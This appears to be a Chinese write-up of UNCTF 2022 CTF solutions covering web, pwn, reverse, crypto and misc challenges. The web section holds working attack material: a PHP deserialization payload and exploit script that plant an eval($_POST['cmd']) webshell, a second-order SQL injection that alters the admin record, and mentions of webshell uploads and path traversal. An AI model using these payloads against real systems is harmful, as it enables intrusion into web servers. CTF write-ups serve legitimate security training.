这次unctf期间有点忙,没什么时间做,可能中间有部分错误,望师傅们指正
Web
1.我太喜欢bilibili大学啦–中北大学
直接搜索flag
2. ezgame-浙江师范大学
查看源代码会发现这边可疑的字符串
改为
this.isDead = this.rStats.life >= 10,
3.签到
查看源代码会发现给了你一些信息
用给你的学号密码登录
发现没什么东西,但是改为2后会发现,回显了 f
那么接下来就是爆破
之后拼接得到flag
4. babyphp-中国人民公安大学
刚打开是这样的界面
扫描目录后得到对方存在index.php以及index.html两个页面
a=‘0’&key1=aaroZmOk&key2=aaK1STfY
?code=eval($_POST[“123”]);
4 easy_upload-云南警官学院
简单传php一句话木马,然后用burp改下文件格式 content-type
之后蚁剑连接
5 给你一刀-西南科技大学
打开一看thinkphp,,,,怎么说,这不就直接用工具
过于简单,懒得加话了
我太喜欢bilibili大学啦修复版-中北大学
找hint
解码
解码登录
302与深大-深圳大学
重定向的
然后拼起来
easy ssti-金陵科技学院
存在ssti注入
听说php有一个xxe-西南科技大学
ezunseri-西华大学
经过测试绕过
传一句话木马,连蚁剑
http://e345285b-a622-4c06-970c-800a5562d7a0.node.yuzhian.com.cn//?pop=O:5:"Login":3:{s:11:" Login name";N;s:3:"key";O:4:"Exec":2:{s:7:"content";O:4:"Test":1:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:20:"eval($_POST["cmd"]);";}}}s:4:"code";s:9:"3.1415926"
poppop-中国人民公安大学
<?php
class A{
public $code;
function __construct($g)
{
$this->code=$g;
}
}
class B{
public $key;
function __construct($g)
{
$this->key=$g;
}
}
class C{
private $key2;
function __construct($g)
{
$this->key2=$g;
}
}
$shell='eval($_POST["cmd"]);';
$a=new A($shell);
$c=new C($a);
$b=new B($c);
$s=serialize($b);
$s=str_replace('"A":1','"A":2',$s);
if(file_get_contents("php://input")){
$post="poc=".$s.file_get_contents("php://input");//'cmd'=>$_POST['hack']
$con=postdata('http://2b39350e-f18c-426a-8cea-1cf13b28b9fd.node.yuzhian.com.cn/index.php',$post);
print_r($con);
}//$_POST['hack'
function postdata($url,$data){
$curl = curl_init(); //初始化
curl_setopt($curl,CURLOPT_URL,$url); //设置url
curl_setopt($curl,CURLOPT_HTTPAUTH,CURLAUTH_BASIC); //设置http验证方法
curl_setopt($curl,CURLOPT_HEADER,0); //设置头信息
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); //设置curl_exec获取的信息的返回方式
curl_setopt($curl,CURLOPT_POST,1); //设置发送方式为post请求
curl_setopt($curl,CURLOPT_POSTFIELDS,$data); //设置post的数据
$result = curl_exec($curl);
if($result === false){
echo 'Request False!';
echo curl_errno($curl);
exit();
}
curl_close($curl);
return $result;
}
babynode-云南大学
easy_rce-西南科技大学
随便注-云南警官学院
反正这个注入题是真的把我整麻了,找到半夜三点
最后才发现 env
ez2048-中南大学
text= [119,51,108,99,48,109,101,95,55,111,95,117,110,99,116,102,50,48,50,50,33,33,33,33]
ascii_values = []
for i in text:
print(chr(i))
# ascii_values.append(chr(i))
print(ascii_values)
w3lc0me_7o_unctf2022!!!
世界和平-西南科技大学
抓包发现对方是通关POST传参,存在注入,但是又会过滤掉flag,select from这样的字符串,那就双写
Sqlsql-中国人民公安大学
下载源码之后本地搭建环境,之后进行代码审计
发现存在二次注入的地方
1','1','1','1','1','1');UPDATE users SET studentid = '1234' WHERE username = 'admin' -- s
快乐三消-河南理工大学
一开始以为玩游戏后就有flag
结果啥也没有,后来扫目录
之后尝试弱密码登录,运气不错
admin
unctf
可以路径穿越,之后任意文件读取
Pwn
welcomeUNCTF2022-云南警官学院
int 0x80-中国计量大学现代科技学院
ida打开分析
之后从网上找shellcode 运行输入就行
Reverse
whereisyourkey-广东海洋大学
写个逆向算法
v5=[1,2,3,4,4,5,1,4,7,5,6]
v5[0] = 118
v5[1] = 103
v5[2] = 112
v5[3] = 107
v5[4] = 99
v5[5] = 109
v5[6] = 104
v5[7] = 110
v5[8] = 99
v5[9] = 105
for i in v5:
if i == 109:
print(chr(i))
continue
if i <= 111:
if i <= 110:
i -= 2
else:
i += 3
print(chr(i))
Crypto
md5-1-西南科技大学
# 由于MD5模块在python3中被移除
# 在python3中使用hashlib模块进行md5操作
import hashlib
import string
# 待加密信息
str = string.printable
print(str)
# 创建md5对象
hl = hashlib.md5()
di={}
flag=''
# Tips
# 此处必须声明encode
# 若写法为hl.update(str) 报错为: Unicode-objects must be encoded before hashing
hl.update(str.encode(encoding='utf-8'))
for i in str:
# print('MD5加密前为 :' + i)
di[i]=hashlib.md5(i.encode()).hexdigest()
# print('MD5加密后为 :' + hashlib.md5(i.encode()).hexdigest())
# print(di)
with open("out.txt")as f:
F=f.readlines()
for line in F:
for k,v in di.items():
if v==line[:-1]:
flag+=k
print(k)
print(flag)
dddd-西南科技大学
caesar-西南科技大学
我把表换成了base64的表
B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
base64= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
x="B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}"
flag=''
j=ord('U')-ord('B')
for i in x:
if i not in base64:
flag+=i
else:
print(base64.index(i)+j)
flag+=base64[(base64.index(i)+j)%64]
print(flag)
ezRSA
Single table-西南科技大学
我选择手算
Multi table-西南科技大学
from string import ascii_uppercase
from random import randint,shuffle
from binascii import b2a_hex,a2b_hex
#flag="UNCTF{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
def jiami(flag):
base_table=['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# shuffle(base_table)
#print(base_table)
table={}
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
#print(table)
key=[9,15,23,16]
# for i in range(4):
# key.append(randint(0,25))
# print(key)
c=''
x=0
for i in range(len(flag)):
if flag[i] in ascii_uppercase:
c+=table[key[x%4]][base_table.index(flag[i])]
x+=1
else:
c+=flag[i]
return c
#[9,15,23,16]
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
cr = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
fla= "UNCTF{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
list=[]
for k in fla:
list.append(k)
print(list)
for j in range(len(fla)):
for i in range(0,255):
list[j]=chr(i)
fla=''.join(list)
c=jiami(fla)
if c[j]==cr[j]:
break
print(fla)
先拿key,再爆破
超级加倍-闽南师范大学
开四次
Misc
找得到我吗-闽南师范大学
将docx文件当作压缩包打开解压
syslog-浙江师范大学
解压后在文件里搜索password
解码后,直接解密压缩包
剥茧抽丝-内蒙古警察职业学院
得到解压密码,解压后明文攻击
线索就在眼前,你能利用并找到flag吗
明文攻击成功后,得到里面的文件
解密后发现还有一个压缩包
往回看发现存在0宽度隐写
之后解压后得到flag
数独大挑战-闽南师范大学
爆破密码
然后在线网站做数独
之后将每行看作一个数,做异或操作
DES解密